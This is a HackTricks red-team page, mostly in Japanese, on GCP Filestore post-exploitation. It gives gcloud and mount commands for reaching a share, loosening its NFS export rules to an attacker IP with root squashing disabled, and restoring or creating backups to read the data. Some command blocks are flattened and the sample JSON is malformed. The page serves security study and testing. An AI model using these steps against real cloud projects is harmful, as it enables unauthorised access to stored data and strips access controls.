GCP - Filestore Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Filestore

For more information about Filestore check:

GCP - Filestore Enum

Filestoreをマウントする

共有のファイルシステムは攻撃者の観点から興味深い機密情報を含んでいる可能性があります。Filestoreにアクセスできれば、マウントすることが可能です:

Filestoreのファイルシステムをマウント ```bash sudo apt-get update sudo apt-get install nfs-common # Check the share name showmount -e # Mount the share mkdir /mnt/fs sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs ```

Filestore インスタンスの IP アドレスを見つけるには、ページの列挙セクションを確認してください:

GCP - Filestore Enum

制限を解除して追加の権限を取得

もし攻撃者が共有にアクセスできる IP アドレスにいないが、共有を変更するのに十分な権限がある場合、アクセス制限を解除したりアクセス権を変更したりすることが可能です。自分の IP アドレスに対してより多くの権限を付与して、共有に対する管理者アクセスを得ることもできます:

Filestore インスタンスを更新してアクセスを許可する ```bash gcloud filestore instances update nfstest \ --zone= \ --flags-file=nfs.json

Contents of nfs.json

{ “–file-share”: { “capacity”: “1024”, “name”: “”, “nfs-export-options”: [ { “access-mode”: “READ_WRITE”, “ip-ranges”: [ “/32” ], “squash-mode”: “NO_ROOT_SQUASH”, “anon_uid”: 1003, “anon_gid”: 1003 } ] } }

</details>

### バックアップを復元する

バックアップがある場合、既存のインスタンスまたは新しいインスタンスに**復元する**ことで、その**情報にアクセス可能になります:**

<details>

<summary>新しいインスタンスを作成してバックアップを復元する</summary>
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

バックアップを作成して復元する

もし共有にアクセスできず、それを変更したくない場合は、それをバックアップとして作成し、前述のように復元することができます:

新しいインスタンスにバックアップを作成して復元する ```bash # Create share backup gcloud filestore backups create \ --region= \ --instance= \ --instance-zone= \ --file-share=

Follow the previous section commands to restore it and mount it

</details>

> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>